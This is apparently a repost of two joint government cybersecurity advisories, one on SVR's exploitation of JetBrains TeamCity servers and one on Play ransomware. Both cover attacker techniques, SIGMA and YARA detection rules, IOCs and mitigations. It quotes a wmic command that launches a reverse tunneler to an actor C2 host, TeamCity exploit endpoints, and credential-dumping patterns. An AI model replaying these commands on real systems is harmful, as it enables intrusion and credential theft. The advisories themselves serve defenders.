To legitimize the C2 channel, SVR used a re-registered expired domain set up with dummy WordPress website. Execution of HTTPS variant of GraphicalProton is split into two files – stager and encrypted binary file that contains further code.
MITRE ATT&CK TACTICS AND TECHNIQUES
See below tables for all referenced threat actor tactics and techniques in this advisory. For additional mitigations, see the Mitigations section.
Gather Victim Network Information: Network Topology
T1590.004
SVR cyber actors may gather information about the victim’s network topology that can be used during targeting.
Gather Victim Host Information: Software
T1592.002
SVR cyber actors may gather information about the victim’s host networks that can be used during targeting.
Exploit Public-Facing Application
T1190
SVR cyber actors exploit internet-connected JetBrains TeamCity server using CVE-2023-42793 for initial access.
Command and Scripting Interpreter: PowerShell
T1059.001
SVR cyber actors used powershell commands to compress Microsoft SQL server .dll files.
Command and Scripting Interpreter: Windows Command Shell
T1059.003
SVR cyber actors execute these powershell commands to perform host reconnaissance:
Exploitation for Client Execution
T1203
SVR cyber actors leverage arbitrary code execution after exploiting CVE-2023-42793.
Hijack Execution Flow: DLL Side-Loading
T1574.002
SVR cyber actors use a variant of GraphicalProton that uses DLL hijacking in Zabbix as a means to start execution.
Scheduled Task
T1053.005
SVR cyber actors may abuse Windows Task Schedule to perform task scheduling for initial or recurring execution of malicious code.
Server Software Component: SQL Stored Procedures
T1505.001
SVR cyber actors abuse SQL server stored procedures to maintain persistence.
Boot or Logon Autostart Execution
T1547
SVR cyber actors used C:Windowssystem32ntoskrnl.exe to configure automatic system boot settings to maintain persistence.
Exploitation for Privilege Escalation
T1068
SVR cyber actors exploit JetBrains TeamCity vulnerability to achieve escalated privileges.
To avoid detection, the SVR cyber actors used a “Bring Your Own Vulnerable Driver” technique to disable EDR and AV defense mechanisms.
Account Manipulation
T1098
SVR cyber actors may manipulate accounts to maintain and/or elevate access to victim systems.
Obfuscated Files or Information: Binary Padding
T1027.001
SVR cyber actors use BMPs to perform binary padding while exchange data is exfiltrated to an their C2 station.
Masquerading
T1036
SVR cyber actors use a variant that uses DLL hijacking in Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf, an open-source C++ build analysis tool from Microsoft.
Process Injection
T1055
SVR cyber actors inject code into AV and EDR processes to evade defenses.
Disable or Modify Tools
T1562.001
SVR cyber actors may modify and/or disable tools to avoid possible detection of their malware/tools and activities.
Hide Artifacts
T1564
SVR cyber actors may attempt to hide artifacts associated with their behaviors to evade detection.
Hide Artifacts: Hidden Files and Directories
T1564.001
When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files – with both commands and results.
OS Credential Dumping: LSASS Memory
T1003.001
SVR cyber actors executed Mimikatz commands in memory to gain access to credentials stored in memory.
OS Credential Dumping: Security Account Manager
T1003.002
SVR cyber actors used:
Mimikatz commands to gain access to credentials.
Additionally, SVR cyber actors exfiltrated Windows registry hives to steal credentials.
Credentials from Password Stores: Credentials from Web Browsers
T1555.003
In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins.
Steal or Forge Kerberos Tickets: Golden Ticket
T1558.001
To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs).
System Owner/User Discovery
T1033
SVR cyber actors use these built-in commands to perform host reconnaissance: whoami /priv, whoami / all, whoami / groups, whoami / domain to perform user discovery.
Process Discovery
T1057
SVR cyber actors use GraphicalProton to gather running processes data.
Gather Victim Network Information
T1590
SVR cyber actors use GraphicalProton to gather victim network information.
Exploitation of Remote Services
T1210
SVR cyber actors may exploit remote services to gain unauthorized access to internal systems once inside a network.
Windows Management Instrumentation
T1047
SVR cyber actors executed Rsockstun either in memory or using Windows Management Instrumentation (WMI) to execute malicious commands and payloads.
wmic process call create “C:Program FilesWindows Defender Advanced Threat ProtectionSense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31”
Dynamic Resolution
T1568
SVR may dynamically establish connections to command-and-control infrastructure to evade common detections and remediations.
Protocol Tunneling
T1572
SVR cyber actors may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.
In selected environments, the SVR used an additional tool named, “rr.exe”—a modified open source reverse socks tunneler named Rsockstunm—to establish a tunnel to the C2 infrastructure.
Automated Exfiltration
T1020
SVR cyber actors may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during collection.
Exfiltration Over C2 Channel
T1041
SVR cyber actors may steal data by exfiltrating it over an existing C2 channel. Stolen data is encoded into normal communications using the same protocol as C2 communications.
Exfiltration Over Web Service
T1567
SVR cyber actors use OneDrive and Dropbox to exfiltrate data to their C2 station.
INDICATORS OF COMPROMISE
Note: Please refer to Appendix B for a list of IOCs.
VICTIM TYPES
As a result of this latest SVR cyber activity, the FBI, CISA, NSA, SKW, CERT Polska, and NCSC have identified a few dozen compromised companies in the United States, Europe, Asia, and Australia, and are aware of over a hundred compromised devices though we assess this list does not represent the full set of compromised organizations. Generally, the victim types do not fit into any sort of pattern or trend, aside from having an unpatched, Internet-reachable JetBrains TeamCity server, leading to the assessment that SVR’s exploitation of these victims’ networks was opportunistic in nature and not necessarily a targeted attack. Identified victims included: an energy trade association; companies that provide software for billing, medical devices, customer care, employee monitoring, financial management, marketing, sales, and video games; as well as hosting companies, tools manufacturers, and small and large IT companies.
DETECTION METHODS
The following rules can be used to detect activity linked to adversary activity. These rules should serve as examples and adapt to each organization’s environment and telemetry.
SIGMA Rules
title: Privilege information listing via whoami
description: Detects whoami.exe execution and listing of privileges
author:
references: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'whoami.exe'
CommandLine|contains:
- 'priv'
- 'PRIV'
condition: selection
falsepositives: legitimate use by system administrator
title: DC listing via nltest
description: Detects nltest.exe execution and DC listing
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'nltest.exe'
CommandLine|re: '.*dclist:.*|.*DCLIST:.*|.*dsgetdc:.*|.*DSGETDC:.*'
condition: selection
falsepositives: legitimate use by system administrator
title: DLL execution via WMI
description: Detects DLL execution via WMI
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'WMIC.exe'
CommandLine|contains|all:
- 'call'
- 'rundll32'
condition: selection
falsepositives: legitimate use by software or system administrator
title: Process with connect and pass as args
description: Process with connect and pass as args
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'pass'
- 'connect'
condition: selection
falsepositives: legitimate use of rsockstun or software with exact same arguments
title: Service or Drive enumeration via powershell
description: Service or Drive enumeration via powershell
author:
references:
date: 2023/11/15
logsource:
category: ps_script
product: windows
detection:
selection_1:
ScriptBlockText|contains|all:
- 'Get-WmiObject'
- '-Class'
- 'Win32_Service'
selection_2:
ScriptBlockText|contains|all:
- 'Get-WindowsDriver'
- '-Online'
- '-All'
condition: selection_1 or selection_2
falsepositives: legitimate use by system administrator
title: Compressing files from temp to temp
description: Compressing files from temp to temp used by SVR to prepare data to be exfiltrated
references:
author:
date: 2023/11/15
logsource:
category: ps_script
product: windows
detection:
selection:
ScriptBlockText|re: '.*Compress-Archive.*Path.*Windows[Tt]{1}emp[1-9]{1}.*DestinationPath.*Windows[Tt]{1}emp.*'
condition: selection
title: DLL names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific DLL names.
references:
author:
date: 2023/11/15
logsource:
category: image_load
product: windows
detection:
selection:
ImageLoaded|endswith:
- 'AclNumsInvertHost.dll'
- 'ModeBitmapNumericAnimate.dll'
- 'UnregisterAncestorAppendAuto.dll'
- 'DeregisterSeekUsers.dll'
- 'ScrollbarHandleGet.dll'
- 'PerformanceCaptionApi.dll'
- 'WowIcmpRemoveReg.dll'
- 'BlendMonitorStringBuild.dll'
- 'HandleFrequencyAll.dll'
- 'HardSwapColor.dll'
- 'LengthInMemoryActivate.dll'
- 'ParametersNamesPopup.dll'
- 'ModeFolderSignMove.dll'
- 'ChildPaletteConnected.dll'
- 'AddressResourcesSpec.dll'
condition: selection
title: Sensitive registry entries saved to file
description: Sensitive registry entries saved to file
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection_base:
Image|endswith:
- 'reg.exe'
CommandLine|contains: 'save'
CommandLine|re: '.*HKLMSYSTEM.*|.*HKLMSECURITY.*|.*HKLMSAM.*'
selection_file:
CommandLine|re: '.*sy.sa.*|.*sam.sa.*|.*se.sa.*'
condition: selection_base and selection_file
title: Scheduled tasks names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific scheduled task names
author:
references:
date: 2023/11/15
logsource:
category: taskscheduler
product: windows
detection:
selection:
EventID:
- 4698
- 4699
- 4702
TaskName:
- 'MicrosoftWindowsIISUpdateService'
- 'MicrosoftWindowsWindowsDefenderService'
- 'MicrosoftWindowsWindowsDefenderService2'
- 'MicrosoftDefenderService'
- 'MicrosoftWindowsDefenderUPDService'
- 'MicrosoftWindowsWiMSDFS'
- 'MicrosoftWindowsApplication ExperienceStartupAppTaskCkeck'
- 'MicrosoftWindowsWindows Error ReportingSubmitReporting'
- 'MicrosoftWindowsWindows DefenderDefender Update Service'
- 'WindowUpdate'
- 'MicrosoftWindowsWindows Error ReportingCheckReporting'
- 'MicrosoftWindowsApplication ExperienceStartupAppTaskCheck'
- 'MicrosoftWindowsSpeechSpeechModelInstallTask'
- 'MicrosoftWindowsWindows Filtering PlatformBfeOnServiceStart'
- 'MicrosoftWindowsData Integrity ScanData Integrity Update'
- 'MicrosoftWindowsWindowsUpdateScheduled AutoCheck'
- 'MicrosoftWindowsATPUpd'
- 'MicrosoftWindowsWindows DefenderService Update'
- 'MicrosoftWindowsWindowsUpdateScheduled Check'
- 'MicrosoftWindowsWindowsUpdateScheduled AutoCheck'
- 'Defender'
- 'defender'
- 'MicrosoftWindowsIISUpdateService'
- 'MicrosoftWindowsWindowsDefenderService'
- 'MicrosoftWindowsWindowsDefenderService2'
- 'MicrosoftDefenderService'
- 'MicrosoftWindowsDefenderUPDService'
- 'MicrosoftWindowsWiMSDFS'
- 'MicrosoftWindowsApplication ExperienceStartupAppTaskCkeck'
- 'MicrosoftWindowsWindows Error ReportingSubmitReporting'
- 'MicrosoftWindowsWindows DefenderDefender Update Service'
- 'WindowUpdate'
- 'MicrosoftWindowsWindows Error ReportingCheckReporting'
- 'MicrosoftWindowsApplication ExperienceStartupAppTaskCheck'
- 'MicrosoftWindowsSpeechSpeechModelInstallTask'
- 'MicrosoftWindowsWindows Filtering PlatformBfeOnServiceStart'
- 'MicrosoftWindowsData Integrity ScanData Integrity Update'
- 'MicrosoftWindowsWindowsUpdateScheduled AutoCheck'
- 'MicrosoftWindowsATPUpd'
- 'MicrosoftWindowsWindows DefenderService Update'
- 'MicrosoftWindowsWindowsUpdateScheduled Check'
- 'MicrosoftWindowsWindowsUpdateScheduled AutoCheck'
- 'Defender'
- 'defender'
condition: selection
title: Scheduled tasks names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific scheduled task names
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'schtasks.exe'
CommandLine|contains:
- 'IISUpdateService'
- 'WindowsDefenderService'
- 'WindowsDefenderService2'
- 'DefenderService'
- 'DefenderUPDService'
- 'WiMSDFS'
- 'StartupAppTaskCkeck'
- 'SubmitReporting'
- 'Defender Update Service'
- 'WindowUpdate'
- 'CheckReporting'
- 'StartupAppTaskCheck'
- 'SpeechModelInstallTask'
- 'BfeOnServiceStart'
- 'Data Integrity Update'
- 'Scheduled AutoCheck'
- 'ATPUpd'
- 'Service Update'
- 'Scheduled Check'
- 'Scheduled AutoCheck'
- 'Defender'
- 'defender'
selection_re:
Image|endswith:
- 'schtasks.exe'
CommandLine|re:
- '.*DefendersUpdatesService.*'
- '.*DatasIntegritysUpdate.*'
- '.*ScheduledsAutoCheck.*'
- '.*ServicesUpdate.*'
- '.*ScheduledsCheck.*'
- '.*ScheduledsAutoCheck.*'
condition: selection or selection_re
title: Suspicious registry modifications
description: Suspicious registry modifications
author:
references:
date: 2023/11/15
logsource:
category: registry_set
product: windows
detection:
selection:
EventID: 4657
TargetObject|contains:
- 'CurrentControlSetControlLsaDisableRestrictedAdmin'
- 'CurrentControlSetControlLsaNoLMHash'
condition: selection
title: Registry modification from cmd
description: Registry modification from cmd
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'reg.exe'
CommandLine|contains|all:
- 'CurrentControlSet'
- 'Lsa'
CommandLine|contains:
- 'DisableRestrictedAdmin'
- 'NoLMHash'
condition: selection
title: Malicious Driver Load
description: Detects the load of known malicious drivers via their names or hash.
references:
- https://github.com/wavestone-cdt/EDRSandblast#edr-drivers-and-processes-detection
author:
date: 2023/11/15
logsource:
category: driver_load
product: windows
detection:
selection_name:
ImageLoaded|endswith:
- 'RTCore64.sys'
- 'DBUtils_2_3.sys'
selection_hash:
Hashes|contains:
- '01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd'
- '0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5'
condition: selection_name or selection_hash
YARA rules
The following rule detects most known GraphicalProton variants.
rule APT29_GraphicalProton {
strings:
// C1 E9 1B shr ecx, 1Bh
// 48 8B 44 24 08 mov rax, [rsp+30h+var_28]
// 8B 50 04 mov edx, [rax+4]
// C1 E2 05 shl edx, 5
// 09 D1 or ecx, edx
// 48 8B 44 24 08 mov rax, [rsp+30h+var_28]
$op_string_crypt = { c1 e? (1b | 18 | 10 | 13 | 19 | 10) 48 [4] 8b [2] c1 e? (05 | 08 | 10 | 0d | 07) 09 ?? 48 }
// 48 05 20 00 00 00 add rax, 20h ; ' '
// 48 89 C1 mov rcx, rax
// 48 8D 15 0A A6 0D 00 lea rdx, unk_14011E546
// 41 B8 30 00 00 00 mov r8d, 30h ; '0'
// E8 69 B5 FE FF call sub_14002F4B0
// 48 8B 44 24 30 mov rax, [rsp+88h+var_58]
// 48 05 40 00 00 00 add rax, 40h ; '@'
// 48 89 C1 mov rcx, rax
// 48 8D 15 1B A6 0D 00 lea rdx, unk_14011E577
// 41 B8 70 01 00 00 mov r8d, 170h
// E8 49 B5 FE FF call sub_14002F4B0
// 48 8B 44 24 30 mov rax, [rsp+88h+var_58]
// 48 05 60 00 00 00 add rax, 60h ; '`'
// 48 89 C1 mov rcx, rax
// 48 8D 15 6C A7 0D 00 lea rdx, unk_14011E6E8
// 41 B8 2F 00 00 00 mov r8d, 2Fh ; '/'
// E8 29 B5 FE FF call sub_14002F4B0
// 48 8B 44 24 30 mov rax, [rsp+88h+var_58]
// 48 05 80 00 00 00 add rax, 80h
// 48 89 C1 mov rcx, rax
// 48 8D 15 7C A7 0D 00 lea rdx, unk_14011E718
// 41 B8 2F 00 00 00 mov r8d, 2Fh ; '/'
// E8 09 B5 FE FF call sub_14002F4B0
// 48 8B 44 24 30 mov rax, [rsp+88h+var_58]
// 48 05 A0 00 00 00 add rax, 0A0h
$op_decrypt_config = {
48 05 20 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
48 05 40 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
48 05 60 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
48 05 80 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
48 05 A0 00 00 00
}
condition:
all of them
}
Note: These rules are meant for threat hunting and have not been tested on a larger dataset.
MITIGATIONS
The FBI, CISA, NSA, SKW, CERT Polska, and NCSC assess the scope and indiscriminate targeting of this campaign poses a threat to public safety and recommend organizations implement the mitigations below to improve organization’s cybersecurity posture. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REFERENCES
The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, SKW, CERT Polska, and NCSC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, NSA, SKW, CERT Polska, and NCSC.
VERSION HISTORY
December 12, 2023: Initial version.
APPENDIX A – INDICATORS OF COMPROMISE CVE-2023-42793
On a Windows system, the log file
C:TeamCitylogsteamcity-server.log
will contain a log message when an attacker modified theinternal.properties
file. There will also be a log message for every process created via the/app/rest/debug/processes
endpoint. In addition to showing the command line used, the user ID of the user account whose authentication token was used during the attack is also shown. For example:[2023-09-26 11:53:46,970] INFO - ntrollers.FileBrowseController - File edited: C:ProgramDataJetBrainsTeamCityconfiginternal.properties by user with id=1
[2023-09-26 11:53:46,970] INFO - s.buildServer.ACTIVITIES.AUDIT - server_file_change: File C:ProgramDataJetBrainsTeamCityconfiginternal.properties was modified by "user with id=1"
[2023-09-26 11:53:58,227] INFO - tbrains.buildServer.ACTIVITIES - External process is launched by user user with id=1. Command line: cmd.exe "/c whoami"
An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP proxy may have suitable logs showing the following target endpoints being accessed:
/app/rest/users/id:1/tokens/RPC2
– This endpoint is required to exploit the vulnerability./app/rest/users
– This endpoint is only required if the attacker wishes to create an arbitrary user./app/rest/debug/processes
– This endpoint is only required if the attacker wishes to create an arbitrary process.Note: The user ID value may be higher than 1.
APPENDIX B – IOCS
File IoCs
GraphicalProton backdoor:
GraphicalProton HTTPS backdoor:
Backdoored vcperf:
Backdoored Zabbix installation archive:
Backdoored Webroot AV installation archive:
Modified rsockstun
Network IoCs
Tunnel Endpoints
Exploitation Server
GraphicalProton HTTPS C2 URL:
hxxps://matclick[.]com/wp-query[.]php
Source de l’article sur us-cert.gov
#StopRansomware: Play Ransomware
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC) are releasing this joint CSA to disseminate the Play ransomware group’s IOCs and TTPs identified through FBI investigations as recently as October 2023.
Since June 2022, the Play (also known as Playcrypt) ransomware group has impacted a wide range of businesses and critical infrastructure in North America, South America, and Europe. As of October 2023, the FBI was aware of approximately 300 affected entities allegedly exploited by the ransomware actors.
In Australia, the first Play ransomware incident was observed in April 2023, and most recently in November 2023.
The Play ransomware group is presumed to be a closed group, designed to “guarantee the secrecy of deals,” according to a statement on the group’s data leak website. Play ransomware actors employ a double-extortion model, encrypting systems after exfiltrating data. Ransom notes do not include an initial ransom demand or payment instructions, rather, victims are instructed to contact the threat actors via email.
The FBI, CISA, and ASD’s ACSC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. This includes requiring multifactor authentication, maintaining offline backups of data, implementing a recovery plan, and keeping all operating systems, software, and firmware up to date.
Download a PDF version of this report:
(PDF, 536.19 KB
)
For a downloadable copy of IOCs, see:
(XML, 34.87 KB
)
(JSON, 30.22 KB
)
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK for Enterprise section for all referenced tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Initial Access
The Play ransomware group gains initial access to victim networks through the abuse of valid accounts [T1078] and exploitation of public-facing applications [T1190], specifically through known FortiOS (CVE-2018-13379 and CVE-2020-12812) and Microsoft Exchange (ProxyNotShell [CVE-2022-41040 and CVE-2022-41082]) vulnerabilities. Play ransomware actors have been observed to use external-facing services [T1133] such as Remote Desktop Protocol (RDP) and Virtual Private Networks (VPN) for initial access.
Discovery and Defense Evasion
Play ransomware actors use tools like AdFind to run Active Directory queries [TA0007] and Grixba [1], an information-stealer, to enumerate network information [T1016] and scan for anti-virus software [T1518.001]. Actors also use tools like GMER, IOBit, and PowerTool to disable anti-virus software [T1562.001] and remove log files [T1070.001]. In some instances, cybersecurity researchers have observed Play ransomware actors using PowerShell scripts to target Microsoft Defender.[2]
Lateral Movement and Execution
Play ransomware actors use command and control (C2) applications, including Cobalt Strike and SystemBC, and tools like PsExec, to assist with lateral movement and file execution. Once established on a network, the ransomware actors search for unsecured credentials [T1552] and use the Mimikatz credential dumper to gain domain administrator access [T1003]. According to open source reporting [2], to further enumerate vulnerabilities, Play ransomware actors use Windows Privilege Escalation Awesome Scripts (WinPEAS) [T1059] to search for additional privilege escalation paths. Actors then distribute executables [T1570] via Group Policy Objects [T1484.001].
Exfiltration and Encryption
Play ransomware actors often split compromised data into segments and use tools like WinRAR to compress files [T1560.001] into
.RAR
format for exfiltration. The actors then use WinSCP to transfer data [T1048] from a compromised network to actor-controlled accounts. Following exfiltration, files are encrypted [T1486] with AES-RSA hybrid encryption using intermittent encryption, encrypting every other file portion of 0x100000 bytes. [3] (Note: System files are skipped during the encryption process.) A.play
extension is added to file names and a ransom note titledReadMe[.]txt
is placed in file directoryC:
.Impact
The Play ransomware group uses a double-extortion model [T1657], encrypting systems after exfiltrating data. The ransom note directs victims to contact the Play ransomware group at an email address ending in
@gmx[.]de
. Ransom payments are paid in cryptocurrency to wallet addresses provided by Play actors. If a victim refuses to pay the ransom demand, the ransomware actors threaten to publish exfiltrated data to their leak site on the Tor network ([.]onion
URL).Leveraged Tools
Table 1 lists legitimate tools Play ransomware actors have repurposed for their operations. The legitimate tools listed in this product are all publicly available. Use of these tools and applications should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.
AdFind
Used to query and retrieve information from Active Directory.
Bloodhound
Used to query and retrieve information from Active Directory.
GMER
A software tool intended to be used for detecting and removing rootkits.
IOBit
An anti-malware and anti-virus program for the Microsoft Windows operating system. Play actors have accessed IOBit to disable anti-virus software.
PsExec
A tool designed to run programs and execute commands on remote systems.
PowerTool
A Windows utility designed to improve speed, remove bloatware, protect privacy, and eliminate data collection, among other things.
PowerShell
A cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework, which runs on Windows, Linux, and macOS.
Cobalt Strike
A penetration testing tool used by security professionals to test the security of networks and systems. Play ransomware actors have used it to assist with lateral movement and file execution.
Mimikatz
Allows users to view and save authentication credentials such as Kerberos tickets. Play ransomware actors have used it to add accounts to domain controllers.
WinPEAS
Used to search for additional privilege escalation paths.
WinRAR
Used to split compromised data into segments and to compress files into
.RAR
format for exfiltration.WinSCP
Windows Secure Copy is a free and open-source Secure Shell (SSH) File Transfer Protocol, File Transfer Protocol, WebDAV, Amazon S3, and secure copy protocol client. Play ransomware actors have used it to transfer data [T1048] from a compromised network to actor-controlled accounts.
Microsoft Nltest
Used by Play ransomware actors for network discovery.
Nekto / PriviCMD
Used by Play ransomware actors for privilege escalation.
Process Hacker
Used to enumerate running processes on a system.
Plink
Used to establish persistent SSH tunnels.
Indicators of Compromise
See Table 2 for Play ransomware IOCs obtained from FBI investigations as of October 2023.
453257c3494addafb39cb6815862403e827947a1e7737eb8168cd10522465deb
Play ransomware custom data gathering tool
47c7cee3d76106279c4c28ad1de3c833c1ba0a2ec56b0150586c7e8480ccae57
Play ransomware encryptor
75404543de25513b376f097ceb383e8efb9c9b95da8945fd4aa37c7b2f226212
SystemBC malware EXE
7a42f96599df8090cf89d6e3ce4316d24c6c00e499c8557a2e09d61c00c11986
SystemBC malware DLL
7a6df63d883bbccb315986c2cfb76570335abf84fafbefce047d126b32234af8
Play ransomware binary
7dea671be77a2ca5772b86cf8831b02bff0567bce6a3ae023825aa40354f8aca
SystemBC malware DLL
c59f3c8d61d940b56436c14bc148c1fe98862921b8f7bad97fbc96b31d71193c
Play network scanner
e652051fe47d784f6f85dc00adca1c15a8c7a40f1e5772e6a95281d8bf3d5c74
Play ransomware binary
e8d5ad0bf292c42a9185bb1251c7e763d16614c180071b01da742972999b95da
Play ransomware binary
MITRE ATT&CK TACTICS AND TECHNIQUES
See Table 3–Table 11 for all referenced threat actor tactics and techniques in this advisory.
Valid Accounts
T1078
Play ransomware actors obtain and abuse existing account credentials to gain initial access.
Exploit Public Facing Application
T1190
Play ransomware actors exploit vulnerabilities in internet-facing systems to gain access to networks.
External Remote Services
T1133
Play ransomware actors have used remote access services, such as RDP/VPN connection to gain initial access.
System Network Configuration Discovery
T1016
Play ransomware actors use tools like Grixba to identify network configurations and settings.
Software Discovery: Security Software Discovery
T1518.001
Play ransomware actors scan for anti-virus software.
Impair Defenses: Disable or Modify Tools
T1562.001
Play ransomware actors use tools like GMER, IOBit, and PowerTool to disable anti-virus software.
Indicator Removal: Clear Windows Event Logs
T1070.001
Play ransomware actors delete logs or other indicators of compromise to hide intrusion activity.
Unsecured Credentials
T1552
Play ransomware actors attempt to identify and exploit credentials stored unsecurely on a compromised network.
OS Credential Dumping
T1003
Play ransomware actors use tools like Mimikatz to dump credentials.
Lateral Tool Transfer
T1570
Play ransomware actors distribute executables within the compromised environment.
Domain Policy Modification: Group Policy Modification
T1484.001
Play ransomware actors distribute executables via Group Policy Objects.
Archive Collected Data: Archive via Utility
T1560.001
Play ransomware actors use tools like WinRAR to compress files.
Exfiltration Over Alternative Protocol
T1048
Play ransomware actors use file transfer tools like WinSCP to transfer data.
Data Encrypted for Impact
T1486
Play ransomware actors encrypt data on target systems to interrupt availability to system and network resources.
Financial Theft
T1657
Play ransomware actors use a double-extortion model for financial gain.
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and ASD’s ACSC recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of ransomware techniques (such as threat actors leveraging backdoor vulnerabilities into remote software systems), thus, strengthening the security posture for their customers.
For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.
The FBI, CISA, and ASD’s ACSC recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Play ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the FBI, CISA, and ASD’s ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and ASD’s ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
The FBI, CISA, and ASD’s ACSC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
REPORTING
The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Play ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
The FBI, CISA, and ASD’s ACSC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, the FBI’s Internet Crime Complaint Center (IC3), or CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).
Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.
REFERENCES
[1] Symantec: Play Ransomware Group Using New Custom Data-Gathering Tools
[2] TrendMicro: Play Ransomware Spotlight
[3] SentinelLabs: Ransomware Developers Turn to Intermittent Encryption to Evade Detection
Source de l’article sur us-cert.gov